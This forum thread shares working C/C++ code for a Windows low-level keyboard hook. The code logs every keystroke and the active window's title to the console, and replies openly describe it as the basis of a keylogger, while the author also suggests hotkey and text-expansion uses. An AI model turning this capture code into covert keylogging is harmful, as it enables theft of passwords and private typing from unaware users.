Change background image
  1. What's up? I see you're viewing as a Guest. How about registering, it only takes like 2 minutes. This will enable you to do more on our forum and stay updated.

Basic Lowlevel Keyboard Hook Example

Discussion in 'Developer General' started by 3nvisi0n, Jun 19, 2011.

Thread Status:
This thread is more than 180 days old.
  1. 3nvisi0n

    3nvisi0n The R3v0lu710n Super-Mod

    Hey,

    This is some code I wrote awhile back to prove to some guys that I could actually code :P It is a base program, like my XatBot it doesn't do much as is, but it provides a starting point that you can learn from(how it works) and build from to make other stuff. This is mostly C code but since I use a bit of C++(booleans, anywhere variable declarations it must be compiled as C++)

    The basic idea of this is that you 'hook' your program to the keyboard so that whenever a key event occurs(like press or release) your program is called to do stuff with that information. In this case it just outputs in a nicely formatted way to the prompt what you type, it also tracks the name of the window you are typing into. So it is a bit of an example of both hooks and using the window api(to get the window name)

    Code:
    /**
      Simple Keyboard hook by 3nvisi0n
      Limitations: 
        Min Version: Windows 98
        Handles Window Titles up to 255 characters long
        Support for [A-Za-z0-9 {TAB}{DELETE}{BACKSPACE}{RETRUN}] CTRL(Async), SHIFT(Async)
        Max buffer = 512 -> TODO:dynamic buffer size,
          -> realloc attempts have prepended some garbage values to buffer
    */
    
    //Skeleton Includes
    #include <stdio.h>
    #include <stdlib.h>
    #include <stddef.h>
    //Usage includes
    #include <ctype.h>
    #include <string>
    
    using namespace std;
    //WinAPI includes
    #define WINVER 0x500 //win98
    #include <Windows.h>
    #include <tchar.h>
    
    //processKB :: int, WPARAM, LPARAM -> CALLBACK
    //Deals with processing MSG from keyboard.
    LRESULT CALLBACK processKB( int code, WPARAM event, LPARAM kb );
    
    //chr2str :: char -> char*
    //converts single character to char*(string).
    char* chr2str(char a);
    //parseChar :: int, bool[=true] -> void
    //Determines what to send to output for a given virtural key.
    void parseChar(int c, bool down=true);
    
    //output :: char* -> void
    //Handles output for program of strings only.
    void output(char* out);
    
    //Global Variables, No good method for passing in this program
    bool shift = false; //Global to prevent SHIFT repeate
    
    bool ctrl = false; //Global to prevent CTRL repeat
    char* buffer = (char*)malloc(sizeof(char)*512); //current window buffer
    
    string buf = ""; //Complete buffer
    HWND lastProc = NULL; //Global for lastProcess
    
    //chr2str :: char -> char*
    //converts single character to char*(string).
    
    char* chr2str(char a) {
      char* ret =(char*) malloc(sizeof(char)*2);
    
      ret[0] = a;
      ret[1] = '\0'; 
      return ret;
    }
    
    //output :: char* -> void
    //Handles output for program of strings only.
    void output(char* out) {
      HWND temp = GetForegroundWindow(); //Window handle for present forgound window
    
      if(temp != lastProc) {
        lastProc = temp;
    
        char str[256] = ""; //
        //WM_GETTEXT = 13 in Windows.H
        SendMessage(temp, WM_GETTEXT, sizeof(str), (LPARAM)str);
    
        char* message = (char*)malloc(sizeof(char)*(sizeof(str)+4));
    
        sprintf(message, "\n[%s]:\n", str);
        output(message);
    
        free(message);
      }
      sprintf(buffer, "%s%s", buffer,out);
    
      if(out[0]=='\n') {
        buf += buffer;
    
        printf("%s", buffer);
        sprintf(buffer, "%c", '\0');
      }
    }
    
    int main(){
      buffer[0] = '\0';
      HINSTANCE appInstance = GetModuleHandle(NULL);//App Instance for call back
    
      SetWindowsHookEx( WH_KEYBOARD_LL, processKB, appInstance, 0 );
    
      MSG msg; //message recieved
      while(GetMessage(&msg, NULL, 0, 0) > 0) {
    
        TranslateMessage(&msg);
        DispatchMessage(&msg);
      }
      return EXIT_SUCCESS;
    }
    
    //parseChar :: int, bool[=true] -> void
    //Determines what to send to output for a given virtural key.
    void parseChar(int c, bool down) {
    
      bool shift =  (GetAsyncKeyState( VK_LSHIFT)||GetAsyncKeyState( VK_RSHIFT))?true:false;
    
      if(!down) {
       switch(c) {
        case VK_LCONTROL:
    
        case VK_RCONTROL:
          ctrl = false;
          output(chr2str(']'));
    
        break; 
        case VK_LSHIFT:
        case VK_RSHIFT:
          shift = false;
    
          output(chr2str('>'));
        break;     
       }
       return; 
      }
    
      
      if(isdigit(c)) output(chr2str(c));
      else if(isalpha(c)) output(chr2str((!shift)?tolower(c):c));
    
      //else if(isprint(c)) output(chr2str(c));
      else {
        switch(c) {
          case VK_LCONTROL:
    
          case VK_RCONTROL:
            if(!ctrl) {
              ctrl = true;
    
              output("CTRL[");
            }
          break;
          case VK_LSHIFT:
          case VK_RSHIFT:
    
            if(!shift) {
              shift=true;
              output("SHIFT<");
            }
    
          break;   
          case VK_BACK:
           output("{BACKSPACE}");
          break;
    
          case VK_DELETE:
           output("{DELETE}");
          break;
          case VK_TAB:
    
            output("{TAB}");
          break;
          case VK_RETURN:
            output("{ENTER}");
    
            output(chr2str('\n'));
          break;
          
       }
      }  
    }
    
    //processKB :: int, WPARAM, LPARAM -> CALLBACK
    //Deals with processing MSG from keyboard.
    LRESULT CALLBACK processKB( int code, WPARAM event, LPARAM kb ) {
    
      KBDLLHOOKSTRUCT* ptrKB = (KBDLLHOOKSTRUCT*)kb;//ptr to keyboard hook(struct)
      switch(event) {
    
        case WM_KEYUP:
          parseChar(ptrKB->vkCode, false);
    
        break;
        case WM_KEYDOWN:
          parseChar(ptrKB->vkCode);
    
        break;
      }
      return CallNextHookEx(NULL, code, event, kb );
    }
    
    
  2. dns

    dns Active Member Admin

    So basically this is the basics for a C/C++ keylogger, considering of course that's what the person wanted to do with it. :ninja:
  3. 3nvisi0n

    3nvisi0n The R3v0lu710n Super-Mod

    Should you want to yes it is the basis of a keylogger, but other uses could be to use it in addition to another project, have this run to watch for a 'launch' command for a certain set of keystrokes upon which you'll do something. YOu could make an application like ShortKeys where you type a small string and then the programs deletes that and replaces it with a longer set. More than just a keylogger(in the malicious sense of the word)
Thread Status:
This thread is more than 180 days old.

Share This Page